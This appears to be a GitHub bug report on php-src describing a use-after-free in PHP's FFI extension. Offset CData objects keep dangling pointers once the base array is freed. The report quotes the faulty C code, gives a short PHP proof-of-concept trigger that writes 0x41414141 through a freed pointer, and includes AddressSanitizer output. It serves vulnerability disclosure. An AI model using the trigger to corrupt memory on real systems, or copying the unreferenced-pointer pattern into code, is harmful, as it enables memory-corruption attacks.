Skip to content

FFI offset CData holds dangling pointer after base object GC (trivially exploitable Use After Free) #22064

@therealcoiffeur

Description

@therealcoiffeur

Description

Summary

When pointer arithmetic is performed on an owned FFI\CData array object ($base + N), zend_ffi_add() creates a new FFI\CData object whose ptr_holder stores the computed address inside the base's C allocation. No reference is held from the new object back to the base, OBJ_ADDREF is never called and ZEND_FFI_FLAG_OWNED is not propagated.

When the base object is GC'd, zend_ffi_cdata_dtor frees the underlying C allocation via pefree(cdata->ptr, ...). The offset CData's ptr_holder field then holds a dangling pointer into the freed region. Any subsequent FFI read or write through the offset CData constitutes a UAF on that freed allocation.

The bug applies to the array case (base_type->kind == ZEND_FFI_TYPE_ARRAY) where ptr = (char*)base_cdata->ptr is the direct allocation address. The pointer case (ZEND_FFI_TYPE_POINTER) is not affected because ptr is derived by dereferencing the pointer value, which points to C memory not owned by the base FFI\CData.

Vulnerable Source Code

// ext/ffi/ffi.c:1808-1861 -- zend_ffi_add, array case
static zend_object* zend_ffi_add(zend_ffi_cdata *base_cdata,
                                  zend_ffi_type *base_type,
                                  zend_long offset)
{
    zend_ffi_cdata *cdata =
        (zend_ffi_cdata*)zend_ffi_cdata_new(zend_ffi_cdata_ce);

    if (base_type->kind == ZEND_FFI_TYPE_POINTER) {
        ...
        ptr = (char*)(*(void**)base_cdata->ptr);  // dereference pointer -- C memory, safe
    } else {
        /* ARRAY case */
        ...
        ptr = (char*)base_cdata->ptr;             // line 1854: address of owned allocation
    }

    cdata->ptr = &cdata->ptr_holder;              // line 1856
    cdata->ptr_holder = ptr +                     // line 1857: raw offset into base's buffer
        (ptrdiff_t)(offset * ZEND_FFI_TYPE(ptr_type)->size);
    cdata->flags = base_cdata->flags              // line 1859: OWNED not included
                   & ZEND_FFI_FLAG_CONST;
    return &cdata->std;                           // no OBJ_ADDREF(base_cdata)
}

// ext/ffi/ffi.c:2407-2417 -- destructor frees base's allocation
static void zend_ffi_cdata_dtor(zend_ffi_cdata *cdata)
{
    zend_ffi_type_dtor(cdata->type);
    if (cdata->flags & ZEND_FFI_FLAG_OWNED) {
        if (cdata->ptr != (void*)&cdata->ptr_holder) {
            pefree(cdata->ptr, ...);   // frees base's array allocation
        } else {
            pefree(cdata->ptr_holder, ...);
        }
    }
}

// ext/ffi/ffi.c:3953-3966 -- FFI::new sets OWNED on base
ptr = pemalloc(type->size, ...);
cdata->ptr   = ptr;                  // direct pointer, != &ptr_holder
cdata->flags = ZEND_FFI_FLAG_OWNED;  // -> pefree(cdata->ptr) on dtor

How to Trigger

<?php

$ffi    = FFI::cdef('');
$base   = $ffi->new('int[10]');
$offset = $base + 2;

unset($base);

var_dump($offset[0]);
$offset[0] = 0x41414141;

Command:

USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f7/poc.php

Output:

=================================================================
==90394==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000078558 at pc 0x00010481b4f8 bp 0x00016ba5bca0 sp 0x00016ba5bc98
READ of size 4 at 0x604000078558 thread T0
    #0 0x00010481b4f4 in zend_ffi_cdata_to_zval ffi.c:571
    #1 0x0001047c6d30 in zend_ffi_cdata_read_dim ffi.c:1438
    #2 0x000105b1d120 in zend_fetch_dimension_address_read zend_execute.c:3178
    #3 0x000105f15cd8 in zend_fetch_dimension_address_read_R_slow zend_execute.c:3220
    #4 0x000105deb38c in ZEND_FETCH_DIM_R_SPEC_CV_CONST_TAILCALL_HANDLER zend_vm_execute.h:94497
    #5 0x000105b2bc64 in execute_ex zend_vm_execute.h:110168
    #6 0x000105b2c5f8 in zend_execute zend_vm_execute.h:115586
    #7 0x0001060fee20 in zend_execute_script zend.c:1971
    #8 0x000105758aa4 in php_execute_script_ex main.c:2646
    #9 0x000105759014 in php_execute_script main.c:2686
    #10 0x0001061055dc in do_cli php_cli.c:947
    #11 0x000106103b9c in main php_cli.c:1370
    #12 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

0x604000078558 is located 8 bytes inside of 40-byte region [0x604000078550,0x604000078578)
freed by thread T0 here:
    #0 0x000109380f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10)
    #1 0x0001059c6d0c in __zend_free zend_alloc.c:3571
    #2 0x0001059caa20 in _efree zend_alloc.c:2788
    #3 0x000104822688 in zend_ffi_cdata_dtor ffi.c:2412
    #4 0x0001047c509c in zend_ffi_cdata_free_obj ffi.c:2468
    #5 0x00010607e800 in zend_objects_store_del zend_objects_API.c:193
    #6 0x0001060e49fc in rc_dtor_func zend_variables.c:56
    #7 0x000105e7dfbc in ZEND_UNSET_CV_SPEC_CV_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:101914
    #8 0x000105b2bc64 in execute_ex zend_vm_execute.h:110168
    #9 0x000105b2c5f8 in zend_execute zend_vm_execute.h:115586
    #10 0x0001060fee20 in zend_execute_script zend.c:1971
    #11 0x000105758aa4 in php_execute_script_ex main.c:2646
    #12 0x000105759014 in php_execute_script main.c:2686
    #13 0x0001061055dc in do_cli php_cli.c:947
    #14 0x000106103b9c in main php_cli.c:1370
    #15 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

previously allocated by thread T0 here:
    #0 0x000109380e24 in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54e24)
    #1 0x0001059cb030 in __zend_malloc zend_alloc.c:3543
    #2 0x0001059ca8f4 in _emalloc zend_alloc.c:2778
    #3 0x0001047abd88 in zim_FFI_new ffi.c:3953
    #4 0x000105db5e38 in ZEND_DO_FCALL_SPEC_RETVAL_USED_TAILCALL_HANDLER zend_vm_execute.h:54920
    #5 0x000105b2bc64 in execute_ex zend_vm_execute.h:110168
    #6 0x000105b2c5f8 in zend_execute zend_vm_execute.h:115586
    #7 0x0001060fee20 in zend_execute_script zend.c:1971
    #8 0x000105758aa4 in php_execute_script_ex main.c:2646
    #9 0x000105759014 in php_execute_script main.c:2686
    #10 0x0001061055dc in do_cli php_cli.c:947
    #11 0x000106103b9c in main php_cli.c:1370
    #12 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

SUMMARY: AddressSanitizer: heap-use-after-free ffi.c:571 in zend_ffi_cdata_to_zval
Shadow bytes around the buggy address:
  0x604000078280: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
  0x604000078300: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 00
  0x604000078380: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
  0x604000078400: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
  0x604000078480: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
=>0x604000078500: fa fa 00 00 00 00 00 fa fa fa fd[fd]fd fd fd fa
  0x604000078580: fa fa fd fd fd fd fd fa fa fa fa fa fa fa fa fa
  0x604000078600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x604000078680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x604000078700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x604000078780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==90394==ABORTING
[1]    90394 abort      USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f7/poc.php

Note: per response on GHSA-rfj7-84rv-8j4h this is not a security issue

PHP Version

PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce

Operating System

No response

Metadata

Metadata

Assignees

No one assigned

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions